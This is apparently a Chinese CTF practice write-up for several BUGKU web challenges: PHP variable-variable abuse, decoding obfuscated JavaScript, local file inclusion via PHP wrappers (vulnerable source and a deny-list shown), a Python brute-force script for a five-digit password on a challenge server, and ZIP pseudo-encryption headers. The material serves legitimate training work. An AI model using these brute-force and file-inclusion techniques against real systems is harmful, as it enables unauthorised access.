刷題
一.BUGKU
- WEB
1. 變量1
知識點php兩個$$是 可變變量,就是一個變量的變量名可以動態的設置和使用
$GLOBALS
一個包含了全部變量的全局組合數組。變量的名字就是數組的鍵
<?php
include "flag.php"; //包含flag.php這個文件
$a = @$_REQUEST['hello']; //$a這個變量請求變量hello的值
if(!preg_match('/^\w*$/',$a )){ //正則表達式,匹配字符串,\w表示字符+數字+下划線,*代表有若干個\w字符組成。
die('ERROR');//不匹配則輸出ERROR
}
eval("var_dump($$a);"); //如果匹配輸出\$\$a的值
show_source(__FILE__);
?>
2.頭等艙
直接burpsuit抓包,看返回包
3.WEB4
給了提示,查看源代碼
js代碼,加密了,我們自己寫個html文件,可以把eval改為alert,就把代碼解密彈出了
彈出的代碼
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
可以看到就是簡單的構造一下password,password=67d709b2b54aa2aa648cf6e87a7114f1提交就可得到flag
4.flag在index里
有一個跳轉鏈接,查看源代碼
像是文件包含,用PHP封裝協議讀取文件
base64解碼得
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
5.輸入密碼查看flag
5位數可以爆破
附爆破腳本
#coding:utf-8
import requests
url='http://120.24.86.145:8002/baopo/?yes'
value=[]
for i in range(0,99999):
if(len(str(i))<5):
value.append("0"*(5-len(str(i)))+str(i))
else :
value.append(str(i))
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in value:
data = {'pwd':i}
print 'trying',i
content = requests.post(url,data=data)
content.encoding='utf-8'
html=content.text
#print html
if html != patch:
print html
#print content.text.decode('gbk', 'ignore')
zip偽加密
zip偽加密是在文件頭的加密標志位做修改,進而再打開文件時識被別為加密壓縮包
一個 ZIP 文件由三個部分組成:
壓縮源文件數據區+壓縮源文件目錄區+壓縮源文件目錄結束標志
壓縮源文件數據區:
50 4B 03 04:這是頭文件標記(0x04034b50)
14 00:解壓文件所需 pkware 版本
00 00:全局方式位標記(有無加密)
08 00:壓縮方式
5A 7E:最后修改文件時間
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校驗(1480B516)
19 00 00 00:壓縮后尺寸(25)
17 00 00 00:未壓縮尺寸(23)
07 00:文件名長度
00 00:擴展記錄長度
6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500
壓縮源文件目錄區:
50 4B 01 02:目錄中文件文件頭標記(0x02014b50)
3F 00:壓縮使用的 pkware 版本
14 00:解壓文件所需 pkware 版本
00 00:全局方式位標記(有無加密,這個更改這里進行偽加密,改為09 00打開就會提示有密碼了)
08 00:壓縮方式
5A 7E:最后修改文件時間
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校驗(1480B516)
19 00 00 00:壓縮后尺寸(25)
17 00 00 00:未壓縮尺寸(23)
07 00:文件名長度
24 00:擴展字段長度
00 00:文件注釋長度
00 00:磁盤開始號
00 00:內部文件屬性
20 00 00 00:外部文件屬性
00 00 00 00:局部頭部偏移量
6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001
壓縮源文件目錄結束標志:
50 4B 05 06:目錄結束標記
00 00:當前磁盤編號
00 00:目錄區開始磁盤編號
01 00:本磁盤上紀錄總數
01 00:目錄區中紀錄總數
59 00 00 00:目錄區尺寸大小
3E 00 00 00:目錄區對第一張磁盤的偏移量
00 00:ZIP 文件注釋長度